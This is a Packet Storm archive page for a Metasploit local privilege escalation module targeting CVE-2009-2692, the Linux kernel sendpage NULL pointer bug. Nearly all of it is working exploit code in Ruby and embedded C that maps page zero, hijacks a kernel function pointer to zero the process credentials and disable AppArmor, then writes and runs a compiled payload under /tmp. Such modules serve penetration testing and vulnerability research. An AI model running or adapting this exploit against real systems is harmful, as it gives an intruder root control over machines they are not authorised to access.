Twenty Year Anniversary

Linux Kernel Sendpage Local Privilege Escalation

Linux Kernel Sendpage Local Privilege Escalation
Posted Jul 19, 2012
Authored by Brad Spengler, Ramon de C Valle, Tavis Ormandy, Julien Tinnes, egypt | Site metasploit.com

The Linux kernel failed to properly initialize some entries the proto_ops struct for several protocols, leading to NULL being derefenced and used as a function pointer. By using mmap(2) to map page 0, an attacker can execute arbitrary code in the context of the kernel. Several public exploits exist for this vulnerability, including spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c. All Linux 2.4/2.6 versions since May 2001 are believed to be affected: 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4

tags | exploit, arbitrary, kernel, protocol, ppc
systems | linux
advisories | CVE-2009-2692
MD5 | 2592f40037078ac9737526c10644b4e9

Linux Kernel Sendpage Local Privilege Escalation

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix

def initialize(info={})
super( update_info( info, {
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
The Linux kernel failed to properly initialize some entries the
proto_ops struct for several protocols, leading to NULL being
derefenced and used as a function pointer. By using mmap(2) to map
page 0, an attacker can execute arbitrary code in the context of the
kernel.

Several public exploits exist for this vulnerability, including
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.

All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # discovery
'Julien Tinnes <julien at cr0.org>', # discovery
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
#[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => "Aug 13 2009",
}
))
end

def exploit
sc = Metasm::ELF.new(@cpu)
sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
.entrypoint
#endif
call main
;push eax
call exit
|

# Set up the same include order as the bionic build system.
# See external/source/meterpreter/source/bionic/libc/Jamfile
cparser.lexer.include_search_path = [
"external/source/meterpreter/source/bionic/libc/include/",
"external/source/meterpreter/source/bionic/libc/private/",
"external/source/meterpreter/source/bionic/libc/bionic/",
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
"external/source/meterpreter/source/bionic/libc/kernel/common/",
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
]

cparser.parse(%Q|
#define DEBUGGING
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
#ifndef __extension__
#define __extension__
#endif
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
// Doing #if on an undefined macro is fine in GCC, but a parse error in
// metasm.
#ifndef __STDC__
#define __STDC__ 0
#endif
#include <sys/types.h>
#include <sys/mman.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
/*
OpenBSD's strcmp from string/strcmp.c in bionic
*/
int
strcmp(const char *s1, const char *s2)
{
while (*s1 == *s2++)
if (*s1++ == 0)
return (0);
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
}
|)

[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
# This parses without any trouble, but actually calling perror() causes
# immediate segfaults.
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

# For some ungodly reason, NULL ends up being undefined when parsing this
# guy, which of course causes parse errors.
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

].each do |fname|
print_status("Parsing c file #{fname}")
cparser.parse(File.read(fname), fname)
end

print_status("Unix socket.h")
unix_socket_h(sc)
current_task_struct_h(sc)

case target.arch.first
when ARCH_X86
print_status("syscall wrappers")
linux_x86_syscall_wrappers(sc)
main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
PF_BLUETOOTH,
PF_APPLETALK,
PF_IPX,
PF_IRDA,
PF_X25,
PF_AX25,
PF_BLUETOOTH,
PF_PPPOX,
DOMAINS_STOP
};

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
printf("Unable to obtain symbol listing!\n");
return 0;
}
}

ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf(" [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}

fclose(f);
return 0;
}


static void
change_cred(void)
{
unsigned int *task_struct;

task_struct = (unsigned int *)current_task_struct();

while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}

task_struct++;
}

return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

got_ring0 = 1;
if (apparmor_enabled && *apparmor_enabled) {
*apparmor_enabled = 0;
}
change_cred();
return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
int i = 0;
int d;
int in_fd, out_fd;
char *mapped;
char template[] = "/tmp/sendfile.XXXXXX";
int (*func)();

uid = getuid(), gid = getgid();

mapped = mmap(NULL , 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
if (mapped == NULL) {
printf("Mapped zero page!\n");
} else {
exit(1);
}

// jmp dword near [dword 0x8]
mapped[0] = '\xff';
mapped[1] = '\x25';
*(unsigned long *)&mapped[2] = 8;
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

for (i = 0; i < 16; i++) {
printf("\\\\x%02x", (unsigned char)mapped[i]);
}
printf("\n");

for (d = 0; domains[d] != DOMAINS_STOP; d++) {
//printf("Next domain ... ");
out_fd = socket(domains[d], SOCK_DGRAM, 0);
if (out_fd > 0) {
printf("Got domain[%d]\n", d);
break;
}
if (out_fd < 0) {
printf("out_fd: %d, Errno: %d\n", out_fd, errno);
exit(1);
}
}
unlink(template);
// Couldn't get mkstemp to work, just use open(2) for now
in_fd = open(template, O_CREAT | O_RDWR, 0777);
printf("Opened temp file: %d\n", in_fd);
unlink(template);
printf("Calling ftruncate\n");
ftruncate(in_fd, 4096);

printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
sendfile(out_fd, in_fd, NULL, 4096);
printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
printf("UID: %d GID: %d\n", getuid(), getgid());

func = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// weaksauce memcpy so we don't have to #include <string.h>
printf("Copying %d bytes of shellcode\n", shellcode_size);
for (i = 0; i < shellcode_size; i++) {
(char)func[i] = (char)shellcode[i];
}
printf("Calling shellcode: 0x%p\n", func);
//sigtrap();
func();

return got_ring0;
}
^
main.gsub!(/shellcode =/) do
# split the payload into 16-byte chunks and dump it out as a
# hex-escaped C string
%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c")

asm = cpu.new_ccompiler(cparser, sc).compile

sc.parse asm
end

sc.assemble

begin
if sc.kind_of? Metasm::ELF
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
end
rescue
print_error "Metasm Encoding failed: #{$!}"
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
elog "Call stack:\n#{$!.backtrace.join("\n")}"
return
end

#puts Rex::Text.to_hex_dump(foo)
File.open("payload.bin", "wb") {|fd|
fd.write elf
}
print_status "Writing exploit executable (#{elf.length} bytes)"
cmd_exec("rm /tmp/sendpage")
write_file("/tmp/sendpage", elf)
output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
output.each_line { |line| print_debug line.chomp }
#cmd_exec("rm /tmp/sendpage")

end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    14 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close